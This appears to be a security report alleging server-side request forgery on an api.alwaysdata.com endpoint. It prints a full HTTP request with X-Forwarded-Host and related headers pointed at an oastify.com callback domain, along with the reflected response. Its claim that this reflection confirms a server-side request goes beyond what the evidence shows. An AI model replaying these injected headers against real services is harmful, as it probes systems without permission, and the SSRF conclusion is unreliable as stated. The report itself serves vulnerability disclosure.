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Task Description
Summary
During a security assessment of the api.alwaysdata.com API, a Server-Side Request Forgery (SSRF) vulnerability was identified in the GET /v1/site/doc/?9detl8s0ik=1 endpoint. This vulnerability allows an attacker to manipulate internal server requests and potentially interact with internal services that should not be exposed to the public. _
Vulnerability Details:
Endpoint: GET /v1/site/doc/?9detl8s0ik=1
Host: api.alwaysdata.com
Vulnerability Type: Server-Side Request Forgery (SSRF)
Severity: High
request:
GET /v1/site/doc/?9detl8s0ik=1 HTTP/1.1
Host: api.alwaysdata.com
Accept-Encoding: gzip, deflate, br
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Referer: https://api.alwaysdata.com/doc/
X-Forwarded-Host: cgwz6v1c70kcuf3j0gbyvkb38uel2fq4.oastify.com
X-Host: cgwz6v1c70kcuf3j0gbyvkb38uel2fq4.oastify.com
X-Forwarded-Server: cgwz6v1c70kcuf3j0gbyvkb38uel2fq4.oastify.com
response:
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
...
<a href="https://cgwz6v1c70kcuf3j0gbyvkb38uel2fq4.oastify.com/v1/site">https://cgwz6v1c70kcuf3j0gbyvkb38uel2fq4.oastify.com/v1/site</a>
...
Impact
The application is processing the values of X-Forwarded-Host and related headers without proper validation or sanitization. This allows an attacker to manipulate server requests and potentially:
- Access internal services.
- Bypass IP restrictions.
- Enumerate internal infrastructure.
- Perform further attacks like internal port scanning or exploiting internal APIs.
Proof of Concept (PoC)
By setting the X-Forwarded-Host header to a Burp Collaborator or OAST domain, I was able to confirm that the server included this manipulated domain in its internal requests and reflected it in the response.
Example:
X-Forwarded-Host: cgwz6v1c70kcuf3j0gbyvkb38uel2fq4.oastify.com
The response included:
<a href="https://cgwz6v1c70kcuf3j0gbyvkb38uel2fq4.oastify.com/v1/site">...</a>
This confirms the application made a server-side request using the attacker-controlled input.
Recommendations:
- Do not trust client-supplied headers such as X-Forwarded-Host, X-Host, and X-Forwarded-Server.
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